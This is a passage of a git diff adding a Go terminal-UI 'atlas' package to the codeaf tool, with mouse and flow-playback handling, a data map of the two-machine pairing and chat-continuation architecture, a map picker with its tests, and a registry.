m.rects[n.ID] + if !r.Contains(msg.X, msg.Y) { + continue + } + m.selected = n.ID + m.drag = &drag{id: n.ID, offX: msg.X - r.X, offY: msg.Y - r.Y} + return + } +} + +func (m *Model) updateMouseMotion(msg tea.MouseMotionMsg) { + if m.drag == nil { + return + } + m.moveNodeTo(m.drag.id, msg.X-m.drag.offX, msg.Y-m.drag.offY) + m.drag.moved = true +} + +func (m *Model) updateMouseRelease(msg tea.MouseReleaseMsg) { + if m.drag == nil { + return + } + d := m.drag + m.drag = nil + if !d.moved { + m.openDetail(d.id) + } +} + +// ── actions ────────────────────────────────────────────────────────────────── + +// openDetail opens (or with an empty id, closes) the detail pane. Opening one +// also selects its box, so tab keeps cycling from where the click left off. +func (m *Model) openDetail(id string) { + m.detail = id + if id != "" { + m.selected = id + } +} + +// setFlow opens a flow, or the plain overview with -1, and rewinds it. +func (m *Model) setFlow(index int) { + m.playing = false + if index >= 0 && index >= len(m.data.Flows) { + index = -1 + } + m.flow = index + m.step = 0 +} + +// stepBy moves along the open flow, wrapping at both ends. +func (m *Model) stepBy(delta int) { + if m.flow < 0 { + return + } + n := len(m.data.Flows[m.flow].Steps) + m.step = (m.step + delta + n) % n +} + +// stopPlay pauses a playing flow. +func (m *Model) stopPlay() { m.playing = false } + +// togglePlay plays or pauses the open flow, opening the first one when the +// overview is showing — the same one key both starts a story and steps it. +func (m *Model) togglePlay() { + if m.flow < 0 { + m.setFlow(0) + } + if m.playing { + m.playing = false + return + } + m.playing = true +} + +// tick is the command a playing flow re-arms every beat. +func (m *Model) tick() tea.Cmd { + return tea.Tick(time.Millisecond*playMillis, func(time.Time) tea.Msg { return tickMsg{} }) +} + +// Beat is the one beat of a playing flow, forwarded to the model by a host +// surface that keeps the frame for it. The chat's /atlas sheet is that host: +// its own loop runs the clock, so the beat has to cross packages as a +// message type both sides can spell. +type Beat struct{} + +// PlayTick is the clock a playing flow runs on. A host that keeps the frame +// arms it when a beat arrives and drops the command when the flow is over; +// standalone [Run] re-arms through Update instead. +func (m *Model) PlayTick() tea.Cmd { return m.tick() } + +// Frame is the map as one frame body, for a host surface that composes its +// own screen around it. It is the same drawing [View] returns, without the +// standalone program's own alt-screen and mouse ask — the host decides both. +func (m *Model) Frame() string { return m.drawFrame() } + +// toggleHelp shows or hides the legend. +func (m *Model) toggleHelp() { m.help = !m.help } + +// cycleSelection moves the keyboard selection around the nodes in data order; +// an open detail pane follows the selection. +func (m *Model) cycleSelection(delta int) { + ids := make([]string, len(m.data.Nodes)) + for i, n := range m.data.Nodes { + ids[i] = n.ID + } + i := -1 + for j, id := range ids { + if id == m.selected { + i = j + break + } + } + m.selected = ids[(i+delta+len(ids))%len(ids)] + if m.detail != "" { + m.detail = m.selected + } +} + +// moveNodeTo drags a box to a new top-left corner, keeping its centre inside +// the map so the arrows can always find it. +func (m *Model) moveNodeTo(id string, x, y int) { + r, ok := m.rects[id] + if !ok { + return + } + g := m.geometry() + nx := clamp(x, 0, max(0, g.mapW-r.W)) + ny := clamp(y, g.mapTop, max(g.mapTop, g.mapTop+g.mapH-r.H)) + if g.mapW > r.W { + m.pos[id] = [2]float64{float64(nx+r.W/2) / float64(g.mapW), m.pos[id][1]} + } + if g.mapH > r.H { + m.pos[id] = [2]float64{m.pos[id][0], float64(ny-g.mapTop+r.H/2) / float64(g.mapH)} + } +} + +// nodeRect answers where a box was last drawn, for the tests and the +// hit-testing both. +func (m *Model) nodeRect(id string) (Rect, bool) { + r, ok := m.rects[id] + return r, ok +} + +// activeStep is the flow step the map is telling right now, if any. +func (m *Model) activeStep() (Step, bool) { + if m.flow < 0 { + return Step{}, false + } + steps := m.data.Flows[m.flow].Steps + if m.step >= len(steps) { + return Step{}, false + } + return steps[m.step], true +} + +// edgeForStep is the overview edge a step travels along: the one the step +// names, or the one that joins the same two boxes. +func (m *Model) edgeForStep(s Step) (Edge, bool) { + if s.Edge != "" { + for _, e := range m.data.Edges { + if e.ID == s.Edge { + return e, true + } + } + } + for _, e := range m.data.Edges { + if (e.From == s.From && e.To == s.To) || (e.From == s.To && e.To == s.From) { + return e, true + } + } + return Edge{}, false +} diff --git a/internal/atlas/pairing.go b/internal/atlas/pairing.go new file mode 100644 index 0000000000..fe532759e9 --- /dev/null +++ b/internal/atlas/pairing.go @@ -0,0 +1,221 @@ +package atlas + +// Pairing is the map of the two-computer pairing feature, grounded in the +// code. Each Files[].Path must exist relative to the repository root; +// data_test.go checks that for every registered map. +var Pairing = &Map{ + Name: "pairing", + Title: "Pairing", + Description: "codeaf on two computers: pair with a link, continue a chat on the other", + Nodes: []Node{ + // ── machines ────────────────────────────────────────────────────── + {ID: "machineA", Label: "Machine A", Short: "existing device", Kind: KindMachine, X: 0.08, Y: 0.1, + Summary: "The computer that already runs codeaf. It approves new machines and publishes each chat's turns so another machine can continue them.", + Details: []string{"Holds the identity key and a device cert signed by it", "Publishes encrypted frames every turn while it holds the chat's lease"}, + Files: []FileRef{ + {Path: "cmd/codeaf/approvals.go", Symbols: []string{"approvalsDoor"}}, + {Path: "cmd/codeaf/syncdrive.go", Symbols: []string{"startDrive"}, Note: "starts the drive side: publishes turns while this machine holds the lease"}, + }}, + {ID: "machineB", Label: "Machine B", Short: "new device", Kind: KindMachine, X: 0.92, Y: 0.1, + Summary: "The computer being added. It runs `codeaf pair`, and once joined it can 'continue here' on a chat that is running on A.", + Details: []string{"Generates its own ed25519 device key and x25519 box key", "Plaintext files only ever exist on the machines, never on the relay"}, + Files: []FileRef{{Path: "cmd/codeaf/pair.go", Symbols: []string{"runPair"}}}}, + // ── services ────────────────────────────────────────────────────── + {ID: "hosted", Label: "hosted relay", Short: "default", Kind: KindService, X: 0.38, Y: 0.1, + Summary: "The default service at https://codeaf.agentfield.ai/fabric: a Cloudflare Worker with Durable Objects and R2. It holds the directory, the encrypted blobs and pairing requests, and it cannot decrypt any of them.", + Details: []string{ + "Limits: 5 GiB/identity, 1200 req/min/identity, 600/min/device", + "Pairing: 10-minute TTL, 10 link creates/hr, 3 pending per IP", + "Keeps no request log and no account table: an identity is the hash of its key", + }, + Files: []FileRef{ + {Path: "relay/hosted/src/limits.js", Symbols: []string{"DEFAULTS"}}, + {Path: "relay/hosted/src/routes.js"}, + {Path: "internal/syncsetup/relayurl.go", Symbols: []string{"HostedRelayURL"}}, + }}, + {ID: "selfrelay", Label: "codeaf relay", Short: "self-hosted", Kind: KindService, X: 0.62, Y: 0.1, + Summary: "The same service, self-hosted: `codeaf relay` or cmd/relay. It keeps one SQLite directory and one blob folder per identity, logs only ids and byte counts, and forwards remote-engine bytes without reading them.", + Details: []string{ + "Routes /v1/dir/, /v1/identity/, /v1/store/, the link path, the pair mailbox, /v1/engine, /status", + "Flags --listen :8787 --store --trust-proxy; no TLS or quota built in", + "Selected with CODEAF_SYNC_URL= (or off)", + }, + Files: []FileRef{ + {Path: "cmd/relay/main.go", Symbols: []string{"main"}}, + {Path: "internal/relayserve/main.go", Symbols: []string{"Main"}}, + {Path: "internal/relayserve/service.go"}, + {Path: "internal/relayserve/namespaces.go"}, + {Path: "internal/relay/relay.go", Note: "blind pipe for a live remote engine"}, + {Path: "docs/relay.md"}, + }}, + // ── codeaf Go ───────────────────────────────────────────────────── + {ID: "pair", Label: "pair", Short: "link + 4 digits", Kind: KindGo, X: 0.1, Y: 0.38, + Summary: "`codeaf pair` on the new machine prints a link and a 4-digit check. The existing machine pastes the link into the chat (the pairing card opens) or runs `codeaf pair approve`, the person compares the digits and answers a. No account is involved.", + Details: []string{ + "check = the first two bytes of sha256(pubkey) read as one number, mod 10000, so a swapped key shows different digits", + "Link key k lives only in the URL fragment and seals the device name", + "The grant is sealed to B's x25519 key, so the relay only sees an opaque box", + }, + Files: []FileRef{ + {Path: "cmd/codeaf/pair.go", Symbols: []string{"pairDoor", "runPair"}}, + {Path: "cmd/codeaf/pairlink.go", Symbols: []string{"askToJoin", "approve", "linkApprover", "homeSigner"}}, + {Path: "cmd/codeaf/pairroute.go", Symbols: []string{"pairMailbox", "pairGrant"}}, + {Path: "cmd/codeaf/pair_terminal.go"}, + {Path: "internal/pair/linkjoin.go", Symbols: []string{"JoinByLink", "awaitDecision"}}, + {Path: "internal/pair/linkapprove.go", Symbols: []string{"Approver.Look", "Approver.Approve"}}, + {Path: "internal/pair/linkkey.go", Symbols: []string{"NewLinkKey", "SealDeviceName"}}, + {Path: "internal/pair/linkgrant.go", Symbols: []string{"LinkGrant", "openLinkGrant"}}, + {Path: "internal/directory/requests.go"}, + }}, + {ID: "identity", Label: "identity", Short: "keys + certs", Kind: KindGo, X: 0.3, Y: 0.38, + Summary: "One identity key per person signs a cert for each device. Every request a device makes is signed with ed25519. Rotation mints a new identity and re-issues the devices.", + Files: []FileRef{ + {Path: "cmd/codeaf/identity.go", Symbols: []string{"identityDoor", "runIdentity"}}, + {Path: "cmd/codeaf/identity_rotate.go", Symbols: []string{"identityRotate", "confirmRotation"}}, + {Path: "internal/identity/device.go", Symbols: []string{"Cert.Verify", "Dev.Sign"}}, + {Path: "internal/identity/rotation.go", Symbols: []string{"Mint", "NewDevice", "Install"}}, + }}, + {ID: "devices", Label: "devices", Short: "/devices", Kind: KindGo, X: 0.1, Y: 0.65, + Summary: "`codeaf devices` and /devices list devices and show which are online. You can revoke or rename one. The relay refuses a revoked device, and the other devices hear about it through the directory watch.", + Files: []FileRef{ + {Path: "cmd/codeaf/devices.go", Symbols: []string{"runDevices", "listDevices", "stopDevice"}}, + {Path: "cmd/codeaf/devrename.go", Symbols: []string{"renameThisDevice", "tellFleet"}}, + {Path: "internal/directory/presence.go"}, + }}, + {ID: "sync", Label: "sync", Short: "syncsetup", Kind: KindGo, X: 0.55, Y: 0.38, + Summary: "Opens the connection to the relay, signs requests, seals the vault with chacha20poly1305, follows the directory (\"running on A\"), and runs Continuer.Take for 'continue here'.", + Files: []FileRef{ + {Path: "cmd/codeaf/syncwire.go", Symbols: []string{"syncOf", "syncFrom"}}, + {Path: "cmd/codeaf/synctake.go", Symbols: []string{"wireSync", "watchStanding"}}, + {Path: "cmd/codeaf/syncdrive.go", Symbols: []string{"startDrive"}}, + {Path: "internal/syncsetup/syncsetup.go", Symbols: []string{"Sync", "Open", "Follow"}}, + {Path: "internal/syncsetup/drive.go", Symbols: []string{"Drive", "syncVault"}}, + {Path: "internal/syncsetup/take.go", Symbols: []string{"Continuer.Take", "restoreCopies", "pullVault"}}, + {Path: "internal/keys/seal.go", Symbols: []string{"seal", "open"}}, + }}, + {ID: "cells", Label: "cells", Short: "continue here", Kind: KindGo, X: 0.8, Y: 0.38, + Summary: "A cell is a chat together with its workspace. Available by default on Linux and macOS with a compatible engine. Pair the computers first; existing chats keep their layout and do not move. 'Continue here' on home moves the files, history, tool output and task records to this machine.", + Details: []string{"do_continue.go continues a `do` run on the same machine; it does not move anything between machines"}, + Files: []FileRef{ + {Path: "cmd/codeaf/cell.go", Symbols: []string{"runCell", "cellRewind", "cellEngine"}}, + {Path: "cmd/codeaf/cell_list.go", Symbols: []string{"cellList"}}, + {Path: "cmd/codeaf/do_cell.go", Symbols: []string{"errandCell"}}, + {Path: "cmd/codeaf/do_continue.go", Symbols: []string{"readPriorRun", "continuationBrief"}}, + {Path: "internal/tui3/homepanel_continue.go"}, + {Path: "internal/handoff/handoff.go", Symbols: []string{"Taker.Take", "keepLocal", "fetchAndAcquire", "install"}}, + {Path: "docs/testing-anywhere.md"}, + }}, + {ID: "cellsync", Label: "cellsync", Short: "frames up/down", Kind: KindGo, X: 0.55, Y: 0.65, + Summary: "Moves encrypted frames. On the machine that holds the chat it seals each turn, exports and uploads the frames, then moves the head. On the machine that takes over it fetches the missing frames.", + Files: []FileRef{ + {Path: "internal/cellsync/publish.go", Symbols: []string{"Publisher.Publish", "Publisher.Upload"}}, + {Path: "internal/cellsync/batch.go", Symbols: []string{"Publishing.Seal", "Batcher.lost"}}, + {Path: "internal/cellsync/fetch.go", Symbols: []string{"Fetcher.Fetch", "Fetcher.Complete"}}, + {Path: "internal/cellsync/branch.go", Symbols: []string{"Brancher.Branch"}}, + }}, + {ID: "cellstore", Label: "cellstore", Short: "Go → furrow", Kind: KindGo, X: 0.3, Y: 0.65, + Summary: "The Go driver for the Rust engine. It talks to the engine as a subprocess or through a unix-socket daemon (there is no FFI). It tries the daemon first and falls back to running `furrow` once per verb. It records each tool call in a WAL and seals afterwards.", + Details: []string{ + "Daemon: `furrow serve --socket S --idle-minutes N`; the socket file lives in codeaf's home as engine--.sock", + "Spawn: `furrow --json export --head H --outbox O --ledger L`", + "Keys are passed through env FURROW_CELL_KEY / FURROW_DEDUP_SECRET", + }, + Files: []FileRef{ + {Path: "internal/cellstore/transport.go", Symbols: []string{"Transport", "Fallback", "Spawn"}}, + {Path: "internal/cellstore/daemon.go", Symbols: []string{"Daemon.Do"}}, + {Path: "internal/cellstore/daemonstart.go", Symbols: []string{"launch"}}, + {Path: "internal/cellstore/engine.go", Symbols: []string{"Engine.Seal"}}, + {Path: "internal/cellstore/syncops.go", Symbols: []string{"SyncEngine.Export", "SyncKeys"}}, + {Path: "internal/cellstore/recorder.go", Symbols: []string{"Recorder"}}, + {Path: "internal/cellstore/wal.go"}, + {Path: "internal/cellstore/rewind.go", Symbols: []string{"Engine.Rewind"}}, + {Path: "internal/furrow/furrow.go", Symbols: []string{"ResolveOwned"}}, + }}, + // The engine lives upstream, so these nodes link to its pin and local callers. + {ID: "furrowDaemon", Label: "furrow-daemon", Short: "unix socket", Kind: KindEngine, X: 0.2, Y: 0.9, + Summary: "A long-lived engine process. It reads one JSON request per line on a unix socket, uses one writer thread per store, and handles 9 verbs: seal, snap, restore, log, export, published, want, import, materialize.", + Details: []string{"Source: https://github.com/Agent-Field/furrow/tree/main/furrow-daemon. The files below are codeaf's local integration and release pin."}, + Files: []FileRef{ + {Path: "internal/cellstore/daemon.go", Symbols: []string{"wireRequest", "wireResponse"}}, + {Path: "internal/cellstore/daemonstart.go", Symbols: []string{"launch"}}, + {Path: "internal/furrowbin/pin.json"}, + }}, + {ID: "furrowCli", Label: "furrow-cli", Short: "`furrow` binary", Kind: KindEngine, X: 0.45, Y: 0.9, + Summary: "The `furrow` command. The exchange verbs export, published, want, import and materialize take --json, and so do timeline, rewind, merge and serve; `furrow fork COMMAND` runs a command in the new fork and refuses --json there.", + Details: []string{"Source: https://github.com/Agent-Field/furrow/tree/main/furrow-cli. codeaf embeds the pinned release or an explicit developer artifact and checks the verbs it needs."}, + Files: []FileRef{ + {Path: "internal/cellstore/transport.go", Symbols: []string{"Spawn"}}, + {Path: "internal/cellstore/syncops.go", Symbols: []string{"SyncEngine"}}, + {Path: "internal/furrowbin/cells.go", Symbols: []string{"CellsAvailable"}}, + }}, + {ID: "furrowCore", Label: "furrow-core", Short: "CoW + timeline", Kind: KindEngine, X: 0.72, Y: 0.9, + Summary: "The engine library. It forks workspaces with copy-on-write (APFS clonefile, Linux FICLONE), splits files into content-defined BLAKE3 chunks in content-addressed packs, and keeps a Merkle timeline with rewind. Frames sent to another machine are encrypted with XChaCha20-Poly1305.", + Details: []string{"Source: https://github.com/Agent-Field/furrow/tree/main/furrow-core. The Rust source is maintained upstream; codeaf keeps the binary pin and the Go driver."}, + Files: []FileRef{ + {Path: "internal/furrowbin/pin.json"}, + {Path: "internal/furrow/workspace.go"}, + {Path: "docs/testing-anywhere.md"}, + }}, + {ID: "spec", Label: "specs", Short: "ux + testing", Kind: KindSpec, X: 0.92, Y: 0.65, + Summary: "The written contracts: how pairing must look and behave, and how to test 'anywhere' end to end.", + Files: []FileRef{ + {Path: "docs/ux-pairing-contract.md"}, + {Path: "docs/testing-anywhere.md"}, + }}, + }, + Edges: []Edge{ + {ID: "a-pair", From: "machineA", To: "pair", Label: "approve link", Detail: "Paste the link into the chat (`/pair ` or a paste opens the card) or run `codeaf pair approve LINK`."}, + {ID: "b-pair", From: "machineB", To: "pair", Label: "codeaf pair"}, + {ID: "pair-hosted", From: "pair", To: "hosted", Label: "link request", Detail: "POST /v1/link/requests; the device name is sealed under the link key; the grant is a sealed box."}, + {ID: "pair-identity", From: "pair", To: "identity", Label: "cert + grant"}, + {ID: "devices-hosted", From: "devices", To: "hosted", Label: "presence/revoke", Detail: "GET /v1/dir/presence; revocation is written to the directory, signed."}, + {ID: "a-devices", From: "machineA", To: "devices", Label: "/devices"}, + {ID: "identity-sync", From: "identity", To: "sync", Label: "signs requests", Detail: "ed25519 device cert via wireauth."}, + {ID: "sync-hosted", From: "sync", To: "hosted", Label: "/v1/dir + store", Detail: "Signed requests. Only ciphertext and directory rows cross."}, + {ID: "sync-self", From: "sync", To: "selfrelay", Label: "CODEAF_SYNC_URL"}, + {ID: "b-cells", From: "machineB", To: "cells", Label: "continue here"}, + {ID: "cells-sync", From: "cells", To: "sync", Label: "Continuer.Take"}, + {ID: "cells-cellsync", From: "cells", To: "cellsync", Label: "fetch + acquire"}, + {ID: "cellsync-hosted", From: "cellsync", To: "hosted", Label: "encrypted frames", Detail: "Frames are XChaCha20-Poly1305 ciphertext; the relay never sees plaintext."}, + {ID: "cellsync-cellstore", From: "cellsync", To: "cellstore", Label: "export/want/import"}, + {ID: "cellstore-daemon", From: "cellstore", To: "furrowDaemon", Label: "unix socket JSON", Detail: "One JSON object per line; tried first."}, + {ID: "cellstore-cli", From: "cellstore", To: "furrowCli", Label: "exec per verb", Detail: "Fallback when the daemon is not reachable."}, + {ID: "daemon-core", From: "furrowDaemon", To: "furrowCore", Label: "FurrowRepository"}, + {ID: "cli-core", From: "furrowCli", To: "furrowCore", Label: "FurrowRepository"}, + {ID: "spec-pair", From: "spec", To: "cells", Label: "specifies"}, + }, + Flows: []Flow{ + {ID: "pairing", Title: "Pairing", Summary: "Add machine B with a link and a 4-digit check. No account is needed. The relay only sees sealed boxes.", Steps: []Step{ + {From: "machineB", To: "pair", Message: "`codeaf pair`: make an ed25519 device key, an x25519 box key and a 16-byte link key k", Edge: "b-pair", Note: "internal/pair/linkkey.go NewLinkKey"}, + {From: "pair", To: "hosted", Message: "POST /v1/link/requests {pubkey, x25519, name_sealed, check}", Edge: "pair-hosted"}, + {From: "hosted", To: "pair", Message: "code (8 chars, 10 min TTL); B prints URL code#k and the 4 digits", Edge: "pair-hosted"}, + {From: "machineA", To: "pair", Message: "the person pastes the link into the chat (the pairing card opens) or runs `codeaf pair approve`", Edge: "a-pair"}, + {From: "pair", To: "hosted", Message: "A: GET /v1/link/requests/{code}, open the name with k, show name and digits", Edge: "pair-hosted", Note: "Approver.Look"}, + {From: "machineA", To: "pair", Message: "the person checks the 4 digits match on both screens and answers the card: a approves, d denies (`codeaf pair approve` asks y/n)", Edge: "a-pair"}, + {From: "pair", To: "identity", Message: "A signs a cert for B's key; the grant is sealed to B's x25519 key", Edge: "pair-identity"}, + {From: "pair", To: "hosted", Message: "POST /v1/dir/requests/{code}/approve (signed); relay writes the Device record", Edge: "pair-hosted"}, + {From: "hosted", To: "machineB", Message: "awaitDecision gets the grant; openLinkGrant installs identity, cert and SyncURL", Note: "single use: a second approver gets 409"}, + }}, + {ID: "continue", Title: "Continue chat", Summary: "Machine B takes over a chat running on A: workspace, history, tool output and task records.", Steps: []Step{ + {From: "machineB", To: "cells", Message: "home shows 'running on A'; the person picks continue here", Edge: "b-cells", Note: "internal/tui3/homepanel_continue.go"}, + {From: "cells", To: "sync", Message: "syncsetup's Continuer.Take runs the takeover (internal/handoff): B's own unsealed edits are sealed into a branch first, then the lease moves", Edge: "cells-sync"}, + {From: "sync", To: "hosted", Message: "Dir.Cell(id): read head, frame list and lease", Edge: "sync-hosted"}, + {From: "cells", To: "cellsync", Message: "keepLocal: B's own edits are sealed and kept as a branch", Edge: "cells-cellsync"}, + {From: "cellsync", To: "cellstore", Message: "furrow `want --head H` lists the missing frames", Edge: "cellsync-cellstore"}, + {From: "hosted", To: "cellsync", Message: "download the encrypted frames into the inbox", Edge: "cellsync-hosted"}, + {From: "sync", To: "hosted", Message: "Dir.Acquire: new lease and fence; A loses the drive (Batcher.lost)", Edge: "sync-hosted"}, + {From: "cellstore", To: "furrowDaemon", Message: "import (verify + decrypt), then materialize --head into a stage", Edge: "cellstore-daemon"}, + {From: "sync", To: "machineB", Message: "restoreCopies, pullVault, restoreChatFiles; the chat opens on B, and B now publishes"}, + }}, + {ID: "furrow", Title: "Furrow seal → fork → materialize", Summary: "How a turn becomes encrypted frames that another machine turns back into an identical workspace.", Steps: []Step{ + {From: "cellstore", To: "cellstore", Message: "Recorder writes the call's intent to the WAL, runs it, writes completion", Note: "internal/cellstore/recorder.go, wal.go"}, + {From: "cellstore", To: "furrowDaemon", Message: "Engine.Seal: a seal request as one JSON line on the unix socket", Edge: "cellstore-daemon"}, + {From: "furrowDaemon", To: "furrowCore", Message: "FurrowRepository::seal: BLAKE3 chunks → packs → Merkle tree → snapshot id", Edge: "daemon-core"}, + {From: "furrowCli", To: "furrowCore", Message: "fork: fork_workspace clones copy-on-write (clonefile / FICLONE)", Edge: "cli-core"}, + {From: "cellsync", To: "cellstore", Message: "export --head H --outbox O --ledger L (key in FURROW_CELL_KEY)", Edge: "cellsync-cellstore"}, + {From: "cellsync", To: "hosted", Message: "upload XChaCha20-Poly1305 frames; furrow `published` updates the ledger", Edge: "cellsync-hosted"}, + {From: "hosted", To: "cellsync", Message: "on B: want, then download the missing frames", Edge: "cellsync-hosted"}, + {From: "cellstore", To: "furrowCli", Message: "import, then `materialize --head H`: writes a byte-exact workspace", Edge: "cellstore-cli"}, + }}, + }, +} diff --git a/internal/atlas/pick.go b/internal/atlas/pick.go new file mode 100644 index 0000000000..a7770ae792 --- /dev/null +++ b/internal/atlas/pick.go @@ -0,0 +1,127 @@ +package atlas + +import ( + "fmt" + "strings" + + tea "charm.land/bubbletea/v2" + "github.com/Agent-Field/codeaf/internal/tui2/tokens" + "github.com/charmbracelet/lipgloss" +) + +// THE PICKER (pick.go). Bare `codeaf atlas` shows this instead of guessing a +// map: one row per registered map, its name and its one-line description, in +// the registry's order. Enter opens the row the cursor is on; esc and q leave +// without opening anything, and the shell gets its terminal back whole — the +// same road out the map itself takes, on the same alternate-screen bargain. +// +// The picker draws with the same restraint the map does (docs/DESIGN-LANGUAGE.md): +// dim telemetry, no borders, one cursor mark and nothing else. + +// pickCursor is the marker on the row the cursor sits on. +var pickCursor = tokens.Plain.Glyph(tokens.GPromptChat) + +// PickRow is one picker row, drawn the same by `codeaf atlas` and `/atlas`: +// the cursor mark, the map's name in bold (accent on the cursor row) padded +// to the longest name, then its description dim — the codeaf list shape of a +// name and a dim tail, so the names read as a column of their own. +func PickRow(mp *Map, selected bool) string { + nameW := 0 + for _, m := range Maps { + nameW = max(nameW, cw(m.Name)) + } + mark := " " + name := lipgloss.NewStyle().Bold(true) + if selected { + mark = pickCursor + name = name.Foreground(lipgloss.Color(colAccent)) + } + gap := strings.Repeat(" ", nameW-cw(mp.Name)+3) + return mark + " " + name.Render(mp.Name) + gap + paint(mp.Description, colMuted, false) +} + +// Picker is the map list. Like [Model], it is a pointer used as a tea.Model, +// so Update hands the same model back and the tests can drive one directly. +type Picker struct { + cursor int + W, H int + chosen *Map + leave bool +} + +// NewPicker is the picker over the registry as it stands. +func NewPicker() *Picker { return &Picker{} } + +// Chosen answers the map enter picked, or nil when the person left instead. +func (p *Picker) Chosen() *Map { return p.chosen } + +// Left reports whether the picker was dismissed with esc or q — Chosen being +// nil and Left being false together mean the registry is empty, which the +// registry test refuses to let happen. +func (p *Picker) Left() bool { return p.leave } + +// Init implements tea.Model. +func (p *Picker) Init() tea.Cmd { return nil } + +// View implements tea.Model. +func (p *Picker) View() tea.View { + return tea.View{Content: p.frame(), AltScreen: true} +} + +// Update implements tea.Model. Opening and leaving are the two keys that end +// the program — Bubble Tea stops when a [tea.Quit] comes back, so enter and +// the roads out return it and everything else only moves the cursor. +func (p *Picker) Update(msg tea.Msg) (tea.Model, tea.Cmd) { + switch msg := msg.(type) { + case tea.WindowSizeMsg: + p.W, p.H = msg.Width, msg.Height + case tea.KeyPressMsg: + switch k := msg.String(); { + case k == "up" || k == "k": + if p.cursor > 0 { + p.cursor-- + } + case k == "down" || k == "j": + if p.cursor < len(Maps)-1 { + p.cursor++ + } + case k == "home" || k == "g": + p.cursor = 0 + case k == "end" || k == "G": + p.cursor = max(0, len(Maps)-1) + case k == "enter" && p.cursor < len(Maps): + p.chosen = Maps[p.cursor] + return p, tea.Quit + case k == "esc" || k == "q" || k == "ctrl+c": + p.leave = true + return p, tea.Quit + } + } + return p, nil +} + +// frame draws the list: a heading, one row per map, and the hint line that +// says which keys leave. +func (p *Picker) frame() string { + var b strings.Builder + b.WriteString("atlas — choose a map\n") + b.WriteString("\n") + for at, mp := range Maps { + b.WriteString(PickRow(mp, at == p.cursor) + "\n") + } + b.WriteString("\nenter open · esc/q leave\n") + return b.String() +} + +// Pick raises the picker in this terminal and answers the map enter chose, or +// nil when the person left. It is the bare `codeaf atlas` road. +func Pick() (*Map, error) { + m, err := tea.NewProgram(NewPicker()).Run() + if err != nil { + return nil, fmt.Errorf("atlas: %w", err) + } + if picker, ok := m.(*Picker); ok { + return picker.Chosen(), nil + } + return nil, nil +} diff --git a/internal/atlas/pick_test.go b/internal/atlas/pick_test.go new file mode 100644 index 0000000000..1f6321756a --- /dev/null +++ b/internal/atlas/pick_test.go @@ -0,0 +1,82 @@ +package atlas + +import ( + "strings" + "testing" + + tea "charm.land/bubbletea/v2" +) + +// THE PICKER (pick.go). Bare `codeaf atlas` shows it, so two things have to +// hold: every registered map is on the list with its description, in the +// registry's order, and enter answers the map the cursor is on. +func TestPickerListsEveryMapAndEnterOpens(t *testing.T) { + p := NewPicker() + p.Update(tea.WindowSizeMsg{Width: 80, Height: 20}) + + frame := p.frame() + for _, mp := range Maps { + for _, want := range []string{mp.Name, mp.Description} { + if !strings.Contains(frame, want) { + t.Fatalf("the picker is missing %q of map %q:\n%s", want, mp.Name, frame) + } + } + } + if len(Maps) > 1 { + if first, second := strings.Index(frame, Maps[0].Name), strings.Index(frame, Maps[1].Name); second < first { + t.Fatalf("the picker is not in the registry's order:\n%s", frame) + } + } + + // Movement, then enter: the map under the cursor comes back. + next, _ := p.Update(tea.KeyPressMsg{Code: tea.KeyDown}) + picker, ok := next.(*Picker) + if !ok { + t.Fatal("Update answered something other than the picker") + } + if len(Maps) > 1 && picker.cursor != 1 { + t.Fatalf("down moved the cursor to %d, want 1", picker.cursor) + } + want := Maps[min(picker.cursor, len(Maps)-1)] + next, _ = picker.Update(tea.KeyPressMsg{Code: tea.KeyEnter}) + picker = next.(*Picker) + if picker.Chosen() != want { + t.Fatalf("enter chose %v, want %v", picker.Chosen(), want) + } + if picker.Left() { + t.Fatal("enter left the picker") + } +} + +// esc LEAVES WITHOUT OPENING ANYTHING — the same road out the map itself +// takes, and the shell's exit 0 depends on it. +func TestPickerEscLeavesWithoutOpening(t *testing.T) { + for _, k := range []tea.KeyPressMsg{ + {Code: tea.KeyEscape}, + {Code: 0x71, Text: "q"}, + } { + p := NewPicker() + next, _ := p.Update(k) + picker, ok := next.(*Picker) + if !ok { + t.Fatal("Update answered something other than the picker") + } + if !picker.Left() || picker.Chosen() != nil { + t.Fatalf("%s did not leave the picker whole", k.String()) + } + } +} + +// NoMap IS THE ONE SENTENCE BOTH ENTRY POINTS SAY: what was asked, and what +// the registry holds instead. +func TestNoMapNamesWhatWasAskedAndWhatThereIs(t *testing.T) { + said := NoMap("nope") + if !strings.Contains(said, `no map "nope"`) { + t.Fatalf("the sentence does not name what was asked: %q", said) + } + for _, mp := range Maps { + if !strings.Contains(said, mp.Name) { + t.Fatalf("the sentence does not name %q: %q", mp.Name, said) + } + } +} diff --git a/internal/atlas/registry.go b/internal/atlas/registry.go new file mode 100644 index 0000000000..988db35d10 --- /dev/null +++ b/internal/atlas/registry.go @@ -0,0 +1,38 @@ +package atlas + +import ( + "fmt" + "strings" +) + +// Maps is the ordered registry of every atlas map. Every entry point — +// `codeaf atlas`, the /atlas slash command and their pickers — reads this list +// and nothing else; adding a map here is all it takes to publish one. +var Maps = platformMaps() + +// platformMaps exposes the same moving-chat picture on every platform (K1). +func platformMaps() []*Map { + return []*Map{Pairing} +} + +// ByName answers the map a person named, in the order it was registered. +func ByName(name string) (*Map, bool) { + for _, mp := range Maps { + if mp.Name == name { + return mp, true + } + } + return nil, false +} + +// NoMap is the one sentence every entry point says for a name that is not in +// the registry — `codeaf atlas nope` on stderr, /atlas nope in the +// transcript — so the two surfaces cannot drift apart about what went wrong +// and what was available instead. +func NoMap(name string) string { + names := make([]string, 0, len(Maps)) + for _, mp := range Maps { + names = append(names, mp.Name) + } + return fmt.Sprintf("no map %q — available maps: %s", name, strings.Join(names, ", ")) +} diff --git a/internal/atlas/view.go b/internal/atlas/view.go new file mode 100644 index 0000000000..b3f49eddf9 --- /dev/null +++ b/internal/atlas/view.go @@ -0,0 +1,469 @@ +package atlas + +import ( + "github.com/Agent-Field/codeaf/internal/tui2/tokens" + "strings" +) + +// drawFrame lays out, paints and composes the whole screen: the header, the +// arrows under the boxes, the boxes, and then the panels that sit on top — +// the flow story, the detail pane, the help — and the status line last. +// The hit rectangles a click is matched against are recorded while drawing, +// in draw order, so the topmost layer wins. +func (m *Model) drawFrame() string { + g := m.geometry() + m.layout(g) + c := newCanvas(g.W, g.H) + m.hits = m.hits[:0] + m.drawHeader(c, g) + labels := m.drawEdges(c, g) + m.drawNodes(c, g) + boxes := make([]Rect, 0, len(m.data.Nodes)) + for _, n := range m.data.Nodes { + boxes = append(boxes, m.rects[n.ID]) + } + placeLabels(c, labels, boxes) + if m.flow >= 0 { + m.drawFlowPanel(c, g) + } + if m.detail != "" { + m.drawDetail(c, g) + } + if m.help { + 